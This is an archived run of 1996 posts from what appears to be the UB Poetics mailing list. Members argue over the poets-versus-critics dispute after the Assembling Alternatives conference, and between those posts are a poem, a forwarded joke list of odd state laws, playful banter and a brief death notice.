an interesting, provocative phrase...personally i think the "feminization of poetry" is a bit more fitting, since poetry is cordoned off as both too "effete," "ineffectual" etc to be of use in the world, AND as too potentially subversive (cf Victor Jara's, Neruda's, etc, assassinations). this double-whammy resonates with ye olde virgin/whore dichotomy where chicks can't win for losing. at first glance, poetry is kept under surveillance like a Camille in an oxygen tank more than like a Mumia Abu-Jamal on death row, tho it's also true that most oppressions operate at multiple levels (i.e. a target group is simultaneously "wily" and "childishly naive"). i think the argument robert duncan articulates in both versions of "the homosexual society" can be seen in the predicament of poetry; poets' discourse often ghettoizes itself, through a defensive if understandable need for self-protection, as a response to majority insensitivity...these are off-the-cuff, undertheorized responses admittedly. any other takers?

ps i do think it important sometimes to argue that poetry is "ghettoized" --in order to increase funding for poets etc; it's also important to realize the ways in which poetic (anti)discourse does and/or does not interact with and partake of other discourses, so that no ghetto is an island...in fact the majority society is far more dependent on the functioning of that ghetto than its PR wd have one believe... xo,md

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145. Eliza McGrand- CVA Guest

the bedfellows -- poets and critics (wrning - this is a poem)

Fri 6 Sep 1996

Auditron

Hissing and clicking
pictures into the box
you touch, take

your fingers rubbing
your temples, carrying
sweet oil to the keys

tapping quickly, lightly
The keys gather, heave
into spasms, subside

I am in the box
you read, sucking me
though rubber lines

into your sleep, showers,
into the song you hum cooking,
into your quick looks

stroking, pulling, holding
pictures I feed into
the box that holds me.

EMC
8/20/96

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146. Eliza McGrand- CVA Guest

HELP!!! "humor institute"

Fri 6 Sep 1996

---

i saw the phrase "the humor institute" somewhere and it sparked me to write a poem but now...

i can't remember where i saw it and i need the source for proper attribution...!

can anyone help my failing memory? backchannel if you think best to [redacted]

e
THANKS!

↑ Index

147. Marjorie Perloff

Re: Assembling Alternatives

Sat 7 Sep 1996

Romana (and others)--I think you're absolutely right and I wasn't "totally negative" at all, just raising some key issues. You're right that the real subject was meant to be, should have been, what made some of these poetries "alternative."

But do you feel we really discussed how, why, where, when they were alternative?

What IS the difference between say, Paul Muldoon, Eavan Boland, Medh Megkukian (can't spell right?) and the Irish poets at the conference? This is not a rhetorical question--I would honestly like to know.

And where do US/ UK poetries come together, diverge, etc? I hope we keep that ball rolling.

Marjorie

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148. Eliza McGrand- CVA Guest

m. boughn's satin shoes with high heels

Sat 7 Sep 1996

---

are these, perhaps, the unmentionable objects that have been dominating the hearts and minds of messr.'s and mesdm.'s bowering, loden, and wallace? perhaps someone might consider sharing this treat and putting a GIF of them up on a web site somewhere, unless there are irreconcilable legal complications...

e

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149. Ken Edwards

Assembling Alternatives

Sat 7 Sep 1996

I sincerely hope the "critics v poets" thread is petering out now. It's a pity that, following Marjorie Perloff's initial post, this is the thread that has been pursued most energetically since the conference.

Those who were fortunate enough to be there will know, and those who weren't should be made aware, that this was NOT an issue there.

One of the most urgent questions Assembling Alternatives posed for me was: What is the relationship between the different communities writing poetry in English in non-normative ways? Do we have a common politics of poetic form? Assertions about "American" hegemony are not necessarily going to move us on much further. But it is clear, for instance, there is a large body of Canadian work which is exciting and reaching new stages of development, with a strong presence by women. It is clear that the Irish avant-garde scene is small (the conference participants constituted just about the whole of it) but could usefully be included in the wider colloquy. It is also the case that the British scene is rich and well-established, but its exponents are only just beginning to be read

across the Atlantic. And finally, to reiterate a point I made in a previous post, Philip Mead's paper pointed to parallel developments in Australia, and I for one would certainly like to know more about "innovative" writing there and in New Zealand.

Perhaps we should be working to get beyond these national categories now, and start learning more from each other. It may be one of the ways forward that Bob Perelman was urging us to consider in his "after 'language' what?" presentation. The question of distribution of texts is one practical difficulty to be addressed. But it seems to me that the Poetics list by its very nature provides the ideal forum for discussing these issues. Why don't we start doing it, instead of indulging in fruitless mutual sniping?

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150. Ron Silliman
Methodist hymns and other protestant matters
Sat 7 Sep 1996

"Lee Ann Brown's paper consisted of having all of us sing Helen Adam's ballads to Methodist hymn tunes. It was a lot of fun. But now suppose an invited critic had done the exact same thing? I think there would have been lots of objection."

Actually, if it were Stephen Greenblatt at the MLA, it might come as a great breath of fresh air. But if it were Fred Jameson, it just might be seen as the 800 pound gorilla pissing to mark the edges of his territory (an image Greenblatt once used to describe his own project, actually). If Andrew Ross did it, people would check out his threads and see it as very post something. Ditto Avital Ronell. Dr. Sokol would then conduct a session in which we would sing the poems of Emily Dickinson to the tune of the Yellow Rose of Texas. And then write about it. But if a graduate student, particularly a female grad student, or a tenuously situated untenured person tried it, they would be toast.

Not having been to the conference in question -- having in fact not once seen even a single piece of literature on it (nor any other mention, save on this list), not even a call for Methodist hymns -- I'm intrigued at the debate. My distant take on the whole event initially was that this was a pretty typical academic affair. Other than maybe NYC, all the folks involved seem to have had some connection to a school -- even if might be something homegrown like Naropa.

So Marjorie's plahn (lookitup) is interesting on the face of it. Implicit (or not so implicit) in her comments is the idea that poets who don't "have anything to say" should shut up, or at least maintain a decorous silence. Critics (to create a mythic category that is at least as much a fictive construct as "poets") would know better than to speak w/o anything of value to contribute to the occasion.

Of course if this were really the case, most MLA conventions would consist of job interviews and little else. All those pointless papers in little hotel rooms would be lost forever.

Okay, I'm being snide, I admit it. I think that the compulsion to speak (which is the publish or perish (or worse yet, to disappear into that purgatory known as adjuncthood) impulse at its most basic) is every bit as totalitarian and mind-numbing as the "poets do it, they don't talk about it" anti-theoretical mandate that we have only in the past 20 years begun to recover from. I suspect that if for the next half century ALL academic conferences consisted ONLY of people singing Helen Adams to the tune of Methodist hymns we would just begin to balance things out a little bit. I want Vendler sitting in in every one of those sessions.

Of course, it gets more confusing if it's the poets telling poets that they have to "be critical" and give talks or whatever. That's at least as obnoxious.

But there are some deeper questions under all this--one is the territorialization of literature via the process of singing ABOUT, rather than just singing AS SUCH. When poets don't sing about their work and that of others, they cede the territory (in the most literal sense) to others who have no particular ground for their insights other than as a career strategy. The number of critics who actually write something of value about the subject of contemporary literature is considerably fewer than the number of words in this paragraph. And for every Marjorie Perloff, there are hundreds if not thousands of others singing the tune of tenure and calling it discourse.

When you look at what Marjorie has contributed versus, say, the work of others of roughly the same generation (Altieri, say, whom I think may be on this list, or Von Hallberg), it seems clear enough to me that it is only the most exceptional of critics who ever contributes anything beyond mere background chatter that ultimately has no impact whatsoever or only so indirectly (Von H, for example, has provoked some good pieces by Jed Rasula, Jerry McGann and others, and clearly influenced Alan Golding who, like Marjorie, is one of those very rare critics--the absolute number has to be less than two dozen--who also knows how to read) as to be irrelevant within 3 months of publication. We can't take Marjorie Perloff to be the "baseline" of what critical writing means, because it places the bar far too high for most practitioners.

At least Lee Ann Brown offers us a tune through which to view Helen Adams' work. In fact, I think looking at one writer's prosody through another prosodic system makes a lot of sense as a critical project.* And doing this directly might lead to far greater insight than doing it through a more indirect discursive method. It might actually change how somebody someday writes something. Which, so far as I can tell, is the only test of criticism that counts.

hummin' along,
Ron Silliman
[redacted]

*For example, if you were to sing the Maximus poems in a rap format, whose work would it be? Or Lee Ann Brown--can you read her work to the sound of ZZ Top? I can imagine that Mr. Bowering and Ms. Loden might have much to say about such possibilities and others [[What does it mean that so many of Ted Berrigan's records were by Arthur Godfrey??]] if only they would get themselves out from under the sheets in that virtual motel room....

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151. **Kevin Killian**
Re: uncle
Sat 7 Sep 1996

Hi this is Adam DeGraff, author of Uncle. I'm pleased that Bill has payed consideration to my book. If anyone would like a copy then send me four bucks and I'll send one out to you. Right now I'm over at Kevin Killian's house using his account, but here's my address,

Adam DeGraff
530 Page #2
San Francisco, CA 80525

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152. **Joel Kuszai**
Re: "Poets vs. Critics"
Sat 7 Sep 1996

I've not logged in a couple days--but have been watching the clouds circle in from the east and wanted to comment on something Marjorie Perloff said in her recent post. Personally I think the poet-critics debate is kind of silly, yet I wonder if there aren't threads of things that need to be discussed that aren't being addressed.

On Thu, 5 Sep 1996, Marjorie Perloff wrote:

> *... why did all the poets give critical papers? Do the poets have a special corner on criticism? Many were sophomoric, self-indulgent, and just plain empty. I come back to my original question: who gets to speak and why?*

This is an issue I've been wondering about for some time. Granted, my experience with conferences has been extremely limited to conferences held since the rise of G2+ with the conference organized by Juliana Spahr now more than 3.5

years ago, THE NEW COAST. And I'm not thinking of, say, conferences such as the one Jonathan Monroe organized last year at Cornell, which was for the most part mostly an academic conference (though poets did speak there, as both critics and poets). But rather, I am thinking of the Rob Fitterman sponsored NYC Poetry Talks, New Coast, etc. Unfortunately, I was not able to attend the conf. at New Hampshire, and sorely wish that I had been able to afford it. I made the commitment to attend the Maine 50s conf., and give a paper there (something I hope to do more and more). The issue for me isn't one of poets-vs.-critics, which seems like a replay of an issue as old as poetry itself, but rather something else. And here it is (sorry for the long disclaimer). Why are poets required, asked, invited--and now I would say, "compelled" to speak at all? Perhaps there is a historical reason for this, or a structural one. At New York, the presence of grad students from Brown, Buffalo, and elsewhere explains why the critical and theoretical discourse may have such a cultural cache. In fact, the poets of this orbit may be inclined to have theoretical work to do, axes to grind, or otherwise a need to involve and invest in such discouses. But is that something that everyone (even of this group) shares? I'm not suggesting that poets not speak at conferences, or not be theoretical--actually the opposite. But Marjorie's description of Lee Ann's performative talk is something I've seen before. What happens is that poets are invited to speak/ AND read, rather than, say, being invited to propose a topic to be discussed on a panel. The same is true of Maine, which should, in my mind, have been juried a little. After that one, I personally felt ripped off by the piss-poor quality of some of the papers. (and not all of them by poets). The idea that all poets should be theorists (of their own work, at least) or that they make discriminating intellectual decisions about the value of poetry they like or dislike--this is a great idea, a great theory. But the reality is that poets get up there, without a handle on the hip vocabulary they know they need to use. The result is the "performative" (which is often masked by a vapid refusal to engage the audience through "disruptive" or "creative" language practices). This is all fine, on the one hand. And we know how to address such material, and it really works a lot of the time. But on the other, the point of having a panel discussion is reduced to something less than surfing the net.

Why do organizers of conferences feel that every poet needs to make a speech?

Why aren't such conferences juried the way that real academic conferences are (or should be)? The case with Maine being for me a lesson learned.

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153. **Kevin Killian**
Re: uncle
Sat 7 Sep 1996

> *Hi this is Adam DeGraff, author of Uncle. I'm pleased that Bill has payed consideration to my book. If anyone would like a copy then send me four bucks and I'll send one out to you. Right now I'm over at Kevin Killian's house using his account, but here's my address,*
>
> *Adam DeGraff*
> *530 Page #2*
> *San Francisco, CA 80525*

This is Dodie--the above is not Adam's zip code, at least not in this incarnation. His real zip code is: 94117.

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154. **Kevin Killian**
Re: "Poets vs. Critics"
Sat 7 Sep 1996

At 8:15 AM 9/7/96, Joel Kuszai wrote:
>Why are
>poets required, asked, invited--and now I would say, "compelled" to speak
>at all? Perhaps there is a historical reason for this, or a structural
>one. At New York, the presence of grad students from Brown, Buffalo, and
>elsewhere explains why the critical and theoretical discourse may have
>such a cultural cache. In fact, the poets of this orbit may be inclined to
>have theoretical work to do, axes to grind, or otherwise a need to involve
>and invest in such discouses. But is that something that everyone (even of
>this group) shares?

This is Dodie, and yes, Joel, I think you're pointing in an important direction. Last night was the SF Art Institute's faculty cocktail party (it was hard to believe even when I was there that I was at such an event), and I got a ride home from another visiting faculty member, a local photographer whose work evidences a fine intelligence, each photo evoking history, politics, emotion and the materiality of the photographic processes involved. So, we were discussing our classes and our students, and I started talking about art/writing that came out of a theoretical basis. He denied that his work had a theoretical basis. When I countered with, look at all the stuff that you have drawn on in making your work, he replied that his work was conceptual--not theoretical. At first I thought: we're just playing around with vocabulary here. But, I wonder. Perhaps "conceptual" would be a useful model, as a writer, to adopt--as a way of being "smart" without having to walk around spouting abstractions like a little

professor. And yes I am aware that many Conceptual Artists are fountains of spouting theory--theory which has had more of an impact on my writing than poetic theory--because it always seems to point back to the world. When I hear the word conceptual (as opposed to theoretical) I get more of a sense of a rationale that is organic to the work, growing from inside rather than pasted onto it.

Dodie

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155. Loss Glazier

Assembling

Sat 7 Sep 1996

What I think would be interesting (and I know some of the participants are just recovering from the ardors of their return journey and have for that reason not yet contributed) - aside from the thread that evolved and expanding from Romana's thoughts - would be to hear more about/from the poets who were there, their work as performed or in general, about/from the critics who gave papers and what the papers given were about. That is, talk about what we saw or what we might've missed (for those who couldn't go).

I fear of course the way the trend is going (the conference -> an issue related to but at a remove from the conference), the discussion will next evolve towards "the phenomenon of tangential discussions on listservs" (the conference -> an issue related to but at a remove from the conference -> how listservs discuss tangential issue).

Simply put, it would be great to hear more about *the work* presented at Assembling!

I'd also like to think about what alternatives if any might be assembled from the fact of this gathering. I also think that if there was a shortage of time for discussion while we were all together, now is the time that specific questions CAN be brought up.

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156. Bill Luoma

uncle

Sat 7 Sep 1996

---

an SF poet named Adam DeGraff sent me a chpbk with blue type that he write. a series of "journal" poems to his new nephew Dante giving him hints about how to live.

this poem has meaning for the current blithering about poets and critics. it's called may 24th:

Look, first of all, if you're trying to inherit the earth,
then you're probably not all that meek to begin with.
Secondly, owning a planet would only be fun for
a little while, but then, like everything else in your
closet, would soon go out of style. And third, imagine
the liability, the outlandish cost of utilities. Who
needs the responsibility? No, much better to take the
world by force, thus ensuring failure. Then, of course,
you're safe. It's no secret failure is foolproof.

↑ Index

157. Burt Kimmelman
Re: abolishing tenure as we know it
Sat 7 Sep 1996

Maria et al.,

It's notable that tenure is under attack at schools where the AAUP is not. In my view, tenure is a necessary evil. At my school, where there is a good affiliate of AAUP, and where there is a decent relationship with the administration, nevertheless a recent job ad was for "temporary tenure track" positions. go and figure. it turned out to be a clerical error. but was it?

God save us from the MBAs of this world.

Burt

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158. David Kellogg
Re: critics and poets
Sat 7 Sep 1996

George Bowering wrote:

> *Whew! Where is this all going?*

Damned if I know. Meanwhile it's muddy as hell outside and nobody I know here has power at home. (Duke, from where I write, has its own generator.) I'm going to go try to find some ice; clearly I intervened in the middle of a discussion that was going on fine without me and will continue to do so.
~~~
~~~

Writing Program [redacted] Duke University FAX [redacted]

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

159. Pierre Joris

[Fwd: Did you know that in.....]

Sat 7 Sep 1996

This is a multi-part message in MIME format.

some light fare for saturday afternoon, coming, of all places from the "avant-garde" list... enjoy, Pierre

for id UAA13921; Sat, 7 Sep 1996 20:22:37 +0200
for <[redacted]> id UAA05868; Sat, 7 Sep 1996 20:08:19 +0200
Date: Sat, 7 Sep 1996 20:29:06 +0100
To: [redacted]
From: [redacted] (NECHVATAL Joseph)
Subject: Did you know that in.....

> *Alabama*
> ***It is illegal for a driver to be blindfolded while operating a vehicle.*
>
> *California*
> ***Community leaders passed an ordinance that makes it illegal for anyone to try to stop a child from playfully jumping over puddles of water.*
>
> *Connecticut*
> ***You can be stopped by the police for biking over 65 miles per hour.*
> ***You are not allowed to walk across a street on your hands.*
>
> *Florida*
> ***Women may be fined for falling asleep under a hair dryer, as can the salon owner.*
> ***A special law prohibits unmarried women from parachuting on Sunday or they risk arrest, fine, and/or jailing.*

***If an elephant is left tied to a parking meter, the parking fee has to be paid just as it would for a vehicle.*
***It is illegal to sing in a public place while attired in a swimsuit.*
***Men may not be seen publicly in any kind of strapless gown.*

Illinois
***It is illegal for anyone to give lighted cigars to dogs, cats, and other domesticated animals kept as pets.*

Indiana
***Bathing is prohibited during the winter.*
***Citizens are not allowed to attend a movie house or theater nor ride in a public streetcar within four hours after eating garlic.*

Iowa
***Kisses may last for as much as, but no more than, five minutes.*

Kentucky
***By law, anyone who has been drinking is "sober" until he or she "cannot hold onto the ground."*
***It is illegal to transport an ice cream cone in your pocket.*

Louisiana
***It is illegal to rob a bank and then shoot at the bank teller with a water pistol.*
***Biting someone with your natural teeth is "simple assault," while biting someone with your false teeth is "aggravated assault."*

Massachusetts
***Mourners at a wake may not eat more than three sandwiches.*
***Snoring is prohibited unless all bedroom windows are closed and securely locked.*
***An old ordinance declares goatees illegal unless you first pay a special license fee for the privilege of wearing one in public.*
***Taxi drivers are prohibited from making love in the front seat of their taxi during their shifts.*

Nebraska
***A parent can be arrested if her/his child cannot hold back a burp during a church service.*

New Mexico
***Females are strictly forbidden to appear unshaven in public.*

New York
***A fine of $25 can be levied for flirting. This old law specifically prohibits men from turning around on any city street and looking "at a woman in that way." A second conviction for a crime of this magnitude calls for the violating male to be forced to wear a "pair of horse-blinders" wherever and whenever he goes outside for a stroll.*

North Dakota
***Beer and pretzels can't be served at the same time in any bar or restaurant.*

Ohio
***Women are prohibited from wearing patent leather shoes in public.*

Oklahoma
***Violators can be fined, arrested, or jailed for making ugly faces at a dog.*
***Females are forbidden from doing their own hair without being licensed by the state.*
***Dogs must have a permit signed by the mayor in order to congregate in groups of three or more on private property.*

Pennsylvania
***A special cleaning ordinance bans homemakers from hiding dirt and dust under a rug in a dwelling.*
***No man may purchase alcohol without written consent from his wife.*

Texas
***A city ordinance states that a person cannot go barefoot without first obtaining a special five-dollar permit.*
***It is illegal to take more than three sips of beer at a time*

> *while standing.*
>
> *Vermont*
> ***Lawmakers made it obligatory for everybody to take at least one bath each week- - on Saturday night.*
>
> *Washington*
> ***All lollipops are banned.*
> ***A law to reduce crime states: "It is mandatory for a motorist with criminal intentions to stop at the city limits and telephone the chief of police as he is entering the town.*
>
> *West Virginia*
> ***No children may attend school with their breath smelling of "wild onions."*

Joseph Nechvatal @ Paris
http://www.dom.de/arts/artists/jnech/
http://www.cybertheque.fr/galerie/jnech

----------57C27F1A4C1A--

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160. Herb Levy
NOT Re: critics & poets
Sat 7 Sep 1996

Uh, I'm just going through my poetics mail box after a busy week. I've got nearly 200 messages here, I'm up to sometime Wednesday or so & I've looked ahead & see LOTS of discussion about the poet/critic conundrum.

Being neither I find this abstractly interesting in some vague way, but I was wondering if there were any folks who had further reports on the Assembling Alternatives conference as such. The first few were good but then things got sort of kidnapped.

Maybe people just didn't change their subject lines & I'll be pleasantly surprised as I read ahead, but why do I doubt this is the case?

Herb Levy
[redacted]

↑ Index

161. **Keith Tuma**
harryette mullen
Sat 7 Sep 1996

Anybody out there have either an e-mail address or a phone number for Harryette Mullen?

I'd be grateful; backchannel please.

Keith

↑ Index

162. **Eliza McGrand- CVA Guest**
Re: NOT Re: critics & poets
Sat 7 Sep 1996

---

look at the headings labelled assembling alternatives. also, starting
late last night and early this morning, messages started blazing in
detailing new hampshire... oh yeah, also some headered "UNH"
e
ps
i wasn't there.
psps
at the conference

↑ Index

163. **Emily Lloyd**
Re: [Fwd: Did you know that in.....]
Sat 7 Sep 1996

You see, I just *knew* there was a perfectly good reason for why it never even crossed my mind to apply to the Writers' Workshop in Iowa...emily

Pierre wrote:
> Subject: Did you know that in.....
> > > Iowa
> > > **Kisses may last for as much as, but no more than, five
> > > minutes.

↑ Index

164. George Bowering
Re: "Poets vs. Critics"
Sat 7 Sep 1996

> *damon writes:*
>
> *But more to the point, haven't we learned anything from the last 30 years of theory? do we really still have to fetishize "actual texts"*
>
> *Personally, they're my favorite, next to rubber clothing and satin shoes with spike heels!*
>
> *Kinkily,*
> *Mike*
> [redacted]

I'm more into handcuffs and Charles Reznikoff poems.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

"I'm more than human,
I'm a woman!"

--David Meltzer

↑ Index

165. George Bowering
Re: the object
Sat 7 Sep 1996

> *George Bowering wrote:*
>
> *But Ms Loden said that if i wanted to I could lend the object to Herb Levy, and I had a heck of a time getting it away from him, and then a worse time getting it through customs. Herb said, by the way, that he was disappointed, because he had expected it to change his life. He said that he can get more from a Lyle Lovett CD.*
>
> *I don't know what George and Herb did with this thing (and please don't tell me, guys), but, as they say in Paris, the song is not the same. Couldn't you two at least have sprung for a new set of batteries?*
>
> *Rachel*

Ah jeez. Herb said "She'll never notice."
I said, "Come on, look at the whole side of it there."
Herb said,"In the stete she's in when she goes for the object, she's not going to notice, I tell you."
I said, "Let's take up a collection from all the Slam Poets that enjoyed it, and buy her a new one."
Herb said, "Oh yeah, george? You know where to get them?"

George Bowering.

"I'm more than human,
I'm a woman!"

--David Meltzer

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

↑ Index

166. **George Bowering**
Re: confidential to Mark Wallace
Sat 7 Sep 1996

> *Mark Wallace wrote:*
>
> *Anyone on the list who misunderstands the nature of this communication, and the reason why it must take place in a forum claiming to have some relevance to the practice of poetry, is directed to take their concerns to the CIA, who I must say, in all fairness, are experts at policing, despite the dubious goals of the current cloning project.*
>
> *BEWARE ALL CLONES!*
>
> *Mark, as I said to you before, please seek help as soon as possible. Your psychosis is advancing by leaps and bounds and I don't want to hear that you turned up on the "raped by aliens" episode of _Geraldo_.*
>
> *Rachel*

Hey, Mark! Me too! Hey, they got me when my car broke down on the road between Seattle and Concrete. It was awful. There were 23 of them, and I can remember every minute of that night. What happened to you? Did they make you promise the same thing thay made me promise? You think that's a binding promise now? I am so glad that this happened to someone else. I was thinking....well, you know....

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

"I'm more than human,
I'm a woman!"

--David Meltzer

↑ Index

167. JOEL LEWIS

UNH:"can't we all get along?"

Sun 8 Sep 1996

yikes! What do people who were not at the AA in NH make of all the banter about poets vs. critics (World Wide Wrestling time?) going on this list?

I for one, had a great time. The nicest thing about the event was that people, on the vast whole, were REALLY NICE AND FRIENDLY TO EACH OTHER. This is a change from the landshark scene at MLA and the eyeing of the "enemy talent" one sees at most poetry gatherings. I met many nice people and came away with new friends and contacts. In this crapped-out climate, that's saying a lot.

Romana's great accomplishment was bringing together an international gathering of (mostly) english-speaking poets. In an age of faxes, email, web-sites and (comparitivly) inexpensive International phonecalls, UK and NA poets seem to have less contact w/ each other than in the previous generation. Hopefully this conference will start the lines of conversation going.

As w/ any large enterprise, their were good and bad papers/readings. Was impressed by Rae Armatrout, Denise Riley & Mile Champion's sets (plenty others but not thinking so well here). Good conversations, etc.

My take on Marjorie's points: for myself and most poets not in academia, the conference fees & etc. came out of our pockets. We get no professional "credit" in attending nor do we have an institution that will reimburse some of our fees. A number of poets simply crashed because they didn't have the funds to be present. I don't think critics were treated as 2nd class citizens, most of us poets are happy that there are scholars interested in the writers we care about.

There are smaller quibbles. The honkyfest aspect of the event bothered most of us -- and the lack of a forum to discuss why racial issue were such a small part ofthe proceedings. I also felt that the range of American poetries presented was VERY narrow, comapared to the range of UK poetry presented. A shame as Susan Wheller, Marjorie Welish and Simon Pettit were present & did not read.

Ignored were US publishers, like Geoff Young & Peter Gannick, who both live in New England.

I was also surprised that Charles Simic was not asked to read (I hear he was wandering about, as he is a prof at UNH). We have to get over this our side/ their side thing. Simic continues with a surrealist tradition, from much of our current experimentalist work has some origin in. Is this some problem w/ the current configurations of Language Poetry? In the late 70's, there was an acknowledgement of origins -- now it seems that L.poetry arrived by two meterors that landed in SF and Manhattan. --

I think we need two, three, many AA's. Poets and critics need to meet and just talk about things. It is a rare person, with the energy and imagination to pull something like AA off. Thanks again, Romamna

Joel Lewis

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168. Thomas Bell
Conceptual crit?
Sun 8 Sep 1996

At 03:40 PM 9/7/96 +0100, Kevin Killian wrote:
>and I started talking about art/writing that came out of a theoretical
>basis. He denied that his work had a theoretical basis. When I countered
>with, look at all the stuff that you have drawn on in making your work, he
>replied that his work was conceptual--not theoretical. At first I thought:
>we're just playing around with vocabulary here. But, I wonder. Perhaps
>"conceptual" would be a useful model, as a writer, to adopt--as a way of
>being "smart" without having to walk around spouting abstractions like a
>little professor. And yes I am aware that many Conceptual Artists are
>fountains of spouting theory--theory which has had more of an impact on my
>writing than poetic theory--because it always seems to point back to the
>world. When I hear the word conceptual (as opposed to theoretical) I get
>more of a sense of a rationale that is organic to the work, growing from
>inside rather than pasted onto it.
>
>Dodie
>

the new TRR intro by luigi-bob drake - "literary "canon' is presented as something to be passively accepted, consumed like all the other commodities we poor plebes are expected to blindly buy....in contrast we see the micropress movement is an example of self-determined culture, and a chance for real change."

Perhaps, the issue is not critic/poet/psychologist (my particular curse) but consumer/creator (critics and readers can and should create) or theoretician/concepter?

I would be interested in hearing more about conceptual crit, active reading, etc.
tom

↑ Index

169. Tenney Nathanson
slightly awake
Sun 8 Sep 1996

Alan (Golding)

late here but yes, still awake enough to want to take you up on yr offer to provide copy of your paper to interested parties.

am MIME and UUENCODE capable (and can dance!) if that's usable.

all best,

Tenney

↑ Index

170. Tenney Nathanson
nope
Sun 8 Sep 1996

> *Date: Sat, 7 Sep 1996 15:56:46 EST*
> *From: Keith Tuma <[redacted]>*
> *Subject: harryette mullen*
>
> *Anybody out there have either an e-mail address or a phone number for Harryette Mullen?*
>
> *I'd be grateful; backchannel please.*
>
> *Keith*

no.

but: (as mentioned a couple months back): am going to do /MUSE & Drudge/ in ug class in a couple months, a bit nervously (apparently we ordered Gil's last 30 copies?), and would welcome insights or leads about Mullen's work.

Tenney

↑ Index

171. Rachel Loden
Re: "Poets vs. Critics"
Sun 8 Sep 1996

George Bowering added ("I'm more into...")
>
> >damon writes:
> >
> >> But more to the point, haven't we learned anything from the last 30
> >> years of theory? do we really still have to fetishize "actual texts"
> >
> >Personally, they're my favorite, next to rubber clothing and satin
> >shoes with spike heels!
> >
> >Kinkily,
> >Mike
> >[redacted]
>
> I'm more into handcuffs and Charles Reznikoff poems.

That's what he says for public consumption, but stripped down I hear it's all lacy underthings and Adelaide Crapsey.

Rachel Loden

↑ Index

172. Susan Schultz
Re: to Mark Nowak
Sun 8 Sep 1996

Dear Mark--I'd appreciate a backchannel message that would include your address. In short, I never got that book...

all best, Susan

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173. maria damon
Re: to Mark Nowak
Sun 8 Sep 1996

hi susan, mark isn't on poetix right now but i forwarded yr msg to him...bests, maria d

In message <[redacted]> UB Poetics discussion
group writes:
> Dear Mark--I'd appreciate a backchannel message that would include your
> address. In short, I never got that book...
>
> all best, Susan

↑ Index

174. Rachel Loden

Re: the object

Sun 8 Sep 1996

George Bowering wrote:
>
> >George Bowering wrote:
> >
> >> But Ms Loden said that if i wanted to I could lend the object to Herb
Levy,
> >> and I had a heck of a time getting it away from him, and then a worse
time
> >> getting it through customs. Herb said, by the way, that he was
> >> disappointed, because he had expected it to change his life. He said that
> >> he can get more from a Lyle Lovett CD.
> >
> >I don't know what George and Herb did with this thing (and please don't
> >tell me, guys), but, as they say in Paris, the song is not the same.
> >Couldn't you two at least have sprung for a new set of batteries?
> >
> Ah jeez. Herb said "She'll never notice."
> I said, "Come on, look at the whole side of it there."
> Herb said,"In the stete she's in when she goes for the object, she's not
> going to notice, I tell you."
> I said, "Let's take up a collection from all the Slam Poets that enjoyed
> it, and buy her a new one."
> Herb said, "Oh yeah, george? You know where to get them?"

I guess that's why you won the Governor General's Award for Fiction, George. But I heard a very different story from a three-time slam queen from Saskatoon whose name would not be unknown to you. She says that you and Herb talked incessantly about opening a toy and poesy shoppe called The Passion Bower, with a special emphasis on rare editions of Ron Silliman, and a line of leather gear you liked to call "Mistress Marjorie."

Rachel Loden

↑ Index

175. Joe Amato
poet critic critic poet...
Sun 8 Sep 1996

---

well i guess i'll have to be a bit gadfly-ish and go on record as saying (with absolutely no ill-intent directed at a conference i didn't attend, but wish i had) that the poet-critic thread produced a remarkable amount of dissonance, hence that it probably remains a real bone of contention, hence that it's probably worth continued gab (esp. when one considers that a majority of critics hereabouts are probably academics, and that a goodly number of poets hereabouts may not be)...

i understand that there are productive and counterproductive tensions in any discourse community, network, what have you... and that this list may not be able to sustain any further discussion along these lines... but i'd still aver that there's something worth considering here, esp. after reading ron s.'s post... me, i'm still looking for alternatives to current critical practice, so defined, and to current poetries, so defined... and i'm still looking to find ways to get critics as well as poets to talk about the intellection (conceptual, theoretical, etc.) that goes hand-in-hand with poetry and criticism, so defined...

joe

↑ Index

176. Michael Boughn
fetishized texts
Sun 8 Sep 1996

Giorgio Agamben, in _Stanzas_ I think, has a great passage where he discusses fetishization as the liberation of the object from the limitations of narrowly determined human use into a realm of undetermined connections and pleasures. From this perspective, the fetishized text is a text freed from the slavery of uses (unless, of course, like George, it's into handcuffs.)

Mike

↑ Index

177. **Gwyn McVay**
poet, critic, he loves me, he loves me not
Sun 8 Sep 1996

Reading Emerson's "The Poet"--the very first sentence contains the spectacular phrase "esteemed umpires of taste"--

so what do you gotta do to get to first base?

Gwyn

↑ Index

178. **Judy Roitman**
Re: poet, critic, he loves me, he loves me not
Sun 8 Sep 1996

> *Reading Emerson's "The Poet"--the very first sentence contains the spectacular phrase "esteemed umpires of taste"--*
>
> *so what do you gotta do to get to first base?*
>
> *Gwyn*

Hit em in the balls.

Oops, that gets you thrown out of the game, doesn't it. I guess you gotta hit the ball they throw at you within the spatial limits pre-assigned, with enough unpredictability or power that your "hit" isn't "caught," and then run down a narrowly defined path until you are "safe".

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

179. **maria damon**
Re: fetishized texts
Sun 8 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> Giorgio Agamben, in _Stanzas_ I think, has a great passage where he
> discusses fetishization as the liberation of the object from the
> limitations of narrowly determined human use into a realm of
> undetermined connections and pleasures. From this perspective, the

> fetishized text is a text freed from the slavery of uses (unless, of
> course, like George, it's into handcuffs.)
>
> Mike
> [redacted]

tooshay! nice work (if u cn get it), mike. i like the complication of the scene w/ the positive use of "fetish." liberate all handcuffs. chains of the world unite; you have nothing to lose but your workers and use value, etc.--md

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180. Kevin Killian

Dan Davidson

Sun 8 Sep 1996

We have some sad news to deliver. San Francisco poet Daniel Davidson died Saturday night, apparently by his own hand, after many years of pain following open heart surgery. Details are sketchy at this point, but more detailed obituaries will follow.

